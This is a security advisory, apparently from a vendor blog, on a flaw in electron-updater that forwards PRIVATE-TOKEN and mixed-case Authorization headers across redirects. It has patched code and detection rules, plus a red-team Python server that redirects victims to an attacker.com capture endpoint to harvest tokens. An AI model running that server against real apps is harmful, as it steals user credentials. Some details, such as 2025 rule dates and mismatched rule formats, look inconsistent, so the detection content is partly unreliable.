CVE-2026-54673

Executive Summary

CVE-2026-54673 is a vulnerability in the electron-updater library (npm package) that exposes sensitive credentials during HTTP redirects. The HTTP redirect handler (HttpExecutor.prepareRedirectUrlOptions) only stripped an exact lowercase "authorization" header, leaving other credential-bearing headers—most notably PRIVATE-TOKEN (used by GitLab's personal access token flow) and mixed-case Authorization (used by GitLab's Bearer/OAuth flow)—unprotected. An attacker controlling a redirect destination could capture these credentials, leading to unauthorized access to GitLab or other services using similar header-based authentication.

Supply Chain & Package Security

This vulnerability resides in the electron-updater npm package, which is a critical component in the Electron application supply chain. Applications using this package to deliver automatic updates are at risk. The flaw allows an attacker to intercept credentials during the update process, potentially compromising the entire application ecosystem. Developers must ensure they are using version 9.7.0 or later to mitigate this supply chain risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the redirect.
• User Interaction (UI): Required (R) – The user must be running an application that uses the vulnerable library and follows a redirect.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Credentials are exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): None (N) – No denial of service.

CVSS Score: 6.5 (Medium) – The vulnerability is serious due to the potential for credential theft, but requires user interaction and a specific redirect scenario.

Deep Dive & Mechanics

The electron-updater library handles HTTP redirects during the update process. When a redirect is encountered, the HttpExecutor.prepareRedirectUrlOptions method is called to prepare the new request. The original code only checked for an exact lowercase "authorization" header and stripped it. However, HTTP headers are case-insensitive, and many services (like GitLab) use different header names (e.g., PRIVATE-TOKEN) or mixed-case variants (e.g., Authorization). This oversight allowed these headers to be forwarded to the redirect destination, which could be attacker-controlled.

Attack Scenario:

1. An attacker compromises a legitimate update server or performs a man-in-the-middle attack to inject a redirect response.
2. The vulnerable Electron application follows the redirect, forwarding the PRIVATE-TOKEN or Authorization header to the attacker's server.
3. The attacker captures the token and gains unauthorized access to the user's GitLab account or other services.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 9.7.0):

// HttpExecutor.prepareRedirectUrlOptions
function prepareRedirectUrlOptions(url, options) {
  // Only strips exact lowercase "authorization"
  if (options.headers && options.headers['authorization']) {
    delete options.headers['authorization'];
  }
  return options;
}

Patched Code (9.7.0):

// HttpExecutor.prepareRedirectUrlOptions
function prepareRedirectUrlOptions(url, options) {
  if (options.headers) {
    // Strip all credential-bearing headers case-insensitively
    const credentialHeaders = ['authorization', 'private-token', 'x-oauth-token', 'bearer'];
    for (const header of Object.keys(options.headers)) {
      const lowerHeader = header.toLowerCase();
      if (credentialHeaders.includes(lowerHeader)) {
        delete options.headers[header];
      }
    }
  }
  return options;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Electron application using electron-updater < 9.7.0.
• Ability to intercept or control the update server's response (e.g., via ARP spoofing, DNS poisoning, or compromised server).

Exploitation Steps:

1. Set up a malicious HTTP server that responds to update requests with a 302 redirect to an attacker-controlled endpoint.
2. The redirect response should include a Location header pointing to http://attacker.com/capture.
3. When the vulnerable application follows the redirect, it will forward the PRIVATE-TOKEN or Authorization header to the attacker's server.
4. Capture the token from the incoming request headers.

Example Malicious Server (Python):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://attacker.com/capture')
        self.end_headers()

server = HTTPServer(('0.0.0.0', 8080), RedirectHandler)
server.serve_forever()

Blue Team

Detection:

• Monitor outbound HTTP requests for unexpected redirects to unknown domains.
• Alert on any HTTP request that includes PRIVATE-TOKEN or Authorization headers in redirect chains.
• Use network traffic analysis to detect unusual patterns in update requests.

Prevention:

• Update electron-updater to version 9.7.0 or later.
• Implement strict redirect validation in the application code.
• Use HTTPS with certificate pinning to prevent man-in-the-middle attacks.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests containing PRIVATE-TOKEN or Authorization headers to unknown domains.
  • Unexpected 302 redirect responses from update servers.
• Logs:
  • Application logs showing redirects to suspicious URLs.
  • Error logs indicating failed update attempts with credential leaks.
• Files:
  • Modified electron-updater configuration files pointing to malicious update servers.

Detection Engineering

YARA Rule

rule CVE_2026_54673_credential_leak {
    meta:
        description = "Detects credential-bearing headers in HTTP redirects for electron-updater"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-54673"
    strings:
        $header1 = "PRIVATE-TOKEN" nocase
        $header2 = "Authorization" nocase
        $header3 = "Bearer" nocase
        $redirect = "Location:" nocase
    condition:
        any of ($header*) and $redirect
}

Sigma Rule

title: CVE-2026-54673 - Credential Leak via HTTP Redirect
id: 8f7b3a2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests with credential-bearing headers following a redirect
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        HeaderName:
            - 'PRIVATE-TOKEN'
            - 'Authorization'
            - 'Bearer'
        Redirect:
            - 'Location:'
    condition: selection
falsepositives:
    - Legitimate redirects to trusted domains
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-54673 - Credential Leak via HTTP Redirect"; flow:to_server; content:"PRIVATE-TOKEN"; nocase; content:"Location:"; nocase; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update electron-updater to version 9.7.0 or later.
2. Short-term: Review all applications using electron-updater and ensure they are patched.
3. Long-term: Implement a Content Security Policy (CSP) for Electron apps to restrict allowed redirect destinations.
4. Compensating Controls: Use network segmentation and egress filtering to limit outbound connections from update processes.
5. Monitoring: Enable logging of all HTTP headers in update requests and monitor for suspicious redirects.

Valters IT